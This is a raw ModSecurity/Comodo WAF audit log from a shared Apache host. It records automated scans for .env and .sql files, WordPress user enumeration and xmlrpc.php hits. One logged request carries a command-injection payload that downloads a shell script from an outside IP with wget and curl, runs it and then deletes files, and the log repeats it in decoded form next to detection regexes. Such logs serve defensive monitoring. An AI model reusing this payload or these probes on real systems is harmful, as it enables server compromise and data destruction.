15 Jun 2025 20:19:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a6a9b566-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/pub/.env"] [unique_id "aE8cuiCwfN5GtQhYhHBCZgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015162472075 700220 (- - -) Stopwatch2: 1750015162472075 700220; combined=1671, p1=393, p2=1165, p3=0, p4=0, p5=113, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a6a9b566-Z-- --3b40af33-A-- [16/Jun/2025:00:49:27.617698 +0530] aE8cvi7MaF0j8lD2KTIWcgAAAAM 128.199.112.101 47358 127.0.0.1 7081 --3b40af33-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3b40af33-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3b40af33-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8cvi7MaF0j8lD2KTIWcgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015166688860 928907 (- - -) Stopwatch2: 1750015166688860 928907; combined=2130, p1=357, p2=1341, p3=47, p4=72, p5=194, sr=93, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b40af33-Z-- --47e5331e-A-- [16/Jun/2025:00:49:31.441656 +0530] aE8cwyKD19h5xDtM-2wawAAAAAo 5.180.82.34 54344 127.0.0.1 7080 --47e5331e-B-- GET /mail/?_from=%7B%7B%23exec('cd%20%2Ftmp%20%7C%7C%20cd%20%2Fvar%2Frun%20%7C%7C%20cd%20%2Fmnt%20%7C%7C%20cd%20%2Froot%20%7C%7C%20cd%20%2F%3B%20wget%20http%3A%2F%2F135.181.31.27%2Fnumpa.sh%3B%20curl%20-O%20http%3A%2F%2F135.181.31.27%2Fnumpa.sh%3B%20chmod%20%2Bx%20%2A%3B%20chmod%20777%20%2A%3B%20sh%20numpa.sh%3B%20.%2Fnumpa.sh%3B%20rm%20-rf%20%2A')%7D%7D HTTP/1.0 Host: 198.71.51.75 X-Real-IP: 5.180.82.34 Connection: close Accept: */* --47e5331e-F-- HTTP/1.1 404 Not Found Content-Length: 258 Connection: close Content-Type: text/html; charset=iso-8859-1 --47e5331e-E-- <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache Server at 198.71.51.75 Port 80</address> </body></html> --47e5331e-H-- Message: Warning. Pattern match "(?:\\b(?:c(?:d(?:\\b[^a-zA-Z0-9_]{0,}?[\\/]|[^a-zA-Z0-9_]{0,}?\\.\\.)|hmod.{0,40}?\\+.{0,3}x|md(?:\\b[^a-zA-Z0-9_]{0,}?\\/c|(?:\\.exe|32)\\b))|(?:echo\\b[^a-zA-Z0-9_]{0,}?\\by{1,}|n(?:et(?:\\b[^a-zA-Z0-9_]{1,}?\\blocalgroup|\\.exe)|(?:c|map)\\.exe)|t(? ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||198.71.51.75|F|2"] [data "Matched Data: cd/ found within ARGS:_from: {{#exec(cd/tmp || cd/var/run || cd/mnt || cd/root || cd/ wget http://135.181.31.27/numpa.sh curl -o http://135.181.31.27/numpa.sh chmod +x * chmod 777 * sh numpa.sh ./numpa.sh rm -rf *)}}"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|198.71.51.75|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?:\\\\\\\\b(?:c(?:d(?:\\\\\\\\b[^a-zA-Z0-9_]{0,}?[\\\\\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\\\\\.\\\\\\\\.)|hmod.{0,40}?\\\\\\\\+.{0,3}x|md(?:\\\\\\\\b[^a-zA-Z0-9_]{0,}?\\\\\\\\/c|(?:\\\\\\\\.exe|32)\\\\\\\\b))|(?:echo\\\\\\\\b[^a-zA-Z0-9_]{0,}?\\\\\\\\by{1,}|n(?:et(?:\\\\\\\\b[^a-zA-Z0-9_]{1,}?\\\\\\\\blocalgroup|\\\\\\\\.exe)|(?:c|map)\\\\\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||198.71.51.75|F|2"] [data "Matched Data: cd/ found within ARGS:_from: {{#exec(cd/tmp || cd/var/run || cd/mnt || cd/root || cd/ wget http://135.181.31.27/numpa.sh curl -o http://135.181.31.27/numpa.sh chmod +x * chmod 777 * sh numpa.sh ./numpa.sh rm -rf *)}}"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "198.71.51.75"] [uri "/mail/"] [unique_id "aE8cwyKD19h5xDtM-2wawAAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|198.71.51.75|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "198.71.51.75"] [uri "/mail/"] [unique_id "aE8cwyKD19h5xDtM-2wawAAAAAo"] Stopwatch: 1750015171436624 5077 (- - -) Stopwatch2: 1750015171436624 5077; combined=3817, p1=393, p2=3221, p3=24, p4=42, p5=137, sr=121, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --47e5331e-Z-- --4448da3b-A-- [16/Jun/2025:00:49:38.540364 +0530] aE8cygW_rlaNA7qLBTtCBwAAAAs 217.198.116.247 38010 127.0.0.1 7081 --4448da3b-B-- GET /wp-json/wp/v2/users HTTP/1.0 Host: archangledesignstudio.com X-Real-IP: 217.198.116.247 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 --4448da3b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://archangledesignstudio.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin,User-Agent Connection: close Content-Type: application/json; charset=UTF-8 --4448da3b-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "archangledesignstudio.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aE8cygW_rlaNA7qLBTtCBwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/archangledesignstudio.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015178196483 343976 (- - -) Stopwatch2: 1750015178196483 343976; combined=159792, p1=335, p2=1322, p3=0, p4=0, p5=79133, sr=93, sw=0, l=0, gc=79002 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4448da3b-Z-- --cd570627-A-- [16/Jun/2025:00:50:27.264872 +0530] aE8c-iCwfN5GtQhYhHBCiAAAAAw 128.199.112.101 36904 127.0.0.1 7081 --cd570627-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cd570627-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cd570627-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8c-iCwfN5GtQhYhHBCiAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015226233135 1031810 (- - -) Stopwatch2: 1750015226233135 1031810; combined=2075, p1=338, p2=1308, p3=43, p4=82, p5=197, sr=91, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cd570627-Z-- --0af5f275-A-- [16/Jun/2025:00:50:28.536725 +0530] aE8c-wW_rlaNA7qLBTtCJQAAAAs 185.177.72.210 37192 127.0.0.1 7081 --0af5f275-B-- GET /2017.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0af5f275-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=40484c2eb41162bf9da49facf86c7ee91750015228; expires=Sun, 15 Jun 2025 20:20:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0af5f275-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2017.sql"] [unique_id "aE8c-wW_rlaNA7qLBTtCJQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015227874631 662170 (- - -) Stopwatch2: 1750015227874631 662170; combined=2307, p1=422, p2=1743, p3=0, p4=0, p5=141, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0af5f275-Z-- --634a5c52-A-- [16/Jun/2025:00:50:36.420364 +0530] aE8dAyKD19h5xDtM-2wa6QAAAAo 185.177.72.210 48170 127.0.0.1 7081 --634a5c52-B-- GET /2001.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --634a5c52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8784dd1e826806de9ae458f00c1727191750015236; expires=Sun, 15 Jun 2025 20:20:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --634a5c52-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2001.sql"] [unique_id "aE8dAyKD19h5xDtM-2wa6QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015235734871 685599 (- - -) Stopwatch2: 1750015235734871 685599; combined=2296, p1=346, p2=1840, p3=0, p4=0, p5=109, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --634a5c52-Z-- --876db675-A-- [16/Jun/2025:00:50:45.702224 +0530] aE8dDSCwfN5GtQhYhHBCmAAAAAw 185.177.72.210 36922 127.0.0.1 7081 --876db675-B-- GET /:8181/developer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --876db675-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33d103e77e1c654bb48da91fea7667e51750015245; expires=Sun, 15 Jun 2025 20:20:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --876db675-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/developer/.env"] [unique_id "aE8dDSCwfN5GtQhYhHBCmAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015245050363 651938 (- - -) Stopwatch2: 1750015245050363 651938; combined=1671, p1=351, p2=1205, p3=0, p4=0, p5=115, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --876db675-Z-- --c9555c3f-A-- [16/Jun/2025:00:50:52.617921 +0530] aE8dE5nj7pFxi-BGHz6rzwAAAAI 185.177.72.210 55352 127.0.0.1 7081 --c9555c3f-B-- GET /libraries/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c9555c3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ea68a079d77b7b499ed8d48649b6b69d1750015252; expires=Sun, 15 Jun 2025 20:20:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c9555c3f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/libraries/.env"] [unique_id "aE8dE5nj7pFxi-BGHz6rzwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015251932304 685701 (- - -) Stopwatch2: 1750015251932304 685701; combined=2053, p1=472, p2=1477, p3=0, p4=0, p5=103, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c9555c3f-Z-- --bd168121-A-- [16/Jun/2025:00:51:27.170120 +0530] aE8dNiKD19h5xDtM-2wbCQAAAAo 128.199.112.101 56460 127.0.0.1 7081 --bd168121-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --bd168121-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --bd168121-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8dNiKD19h5xDtM-2wbCQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015286117480 1052697 (- - -) Stopwatch2: 1750015286117480 1052697; combined=2393, p1=390, p2=1658, p3=44, p4=52, p5=157, sr=116, sw=92, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd168121-Z-- --cb505c32-A-- [16/Jun/2025:00:52:27.644508 +0530] aE8dcu5gkr5NYpwyzHH3BAAAAAg 128.199.112.101 53140 127.0.0.1 7081 --cb505c32-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cb505c32-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cb505c32-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8dcu5gkr5NYpwyzHH3BAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015346718833 925741 (- - -) Stopwatch2: 1750015346718833 925741; combined=2384, p1=412, p2=1574, p3=38, p4=53, p5=182, sr=115, sw=125, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cb505c32-Z-- --a7c56356-A-- [16/Jun/2025:00:52:29.652192 +0530] aE8ddD6fDirgE_qJvgHIwAAAAAA 185.177.72.210 53234 127.0.0.1 7081 --a7c56356-B-- GET /:10000/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a7c56356-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d406abb1ccbd553c516729c770178dc31750015349; expires=Sun, 15 Jun 2025 20:22:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a7c56356-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.backup"] [unique_id "aE8ddD6fDirgE_qJvgHIwAAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.backup"] [unique_id "aE8ddD6fDirgE_qJvgHIwAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015348990339 661946 (- - -) Stopwatch2: 1750015348990339 661946; combined=1864, p1=397, p2=1329, p3=0, p4=0, p5=137, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a7c56356-Z-- --d08f5d6c-A-- [16/Jun/2025:00:52:31.645524 +0530] 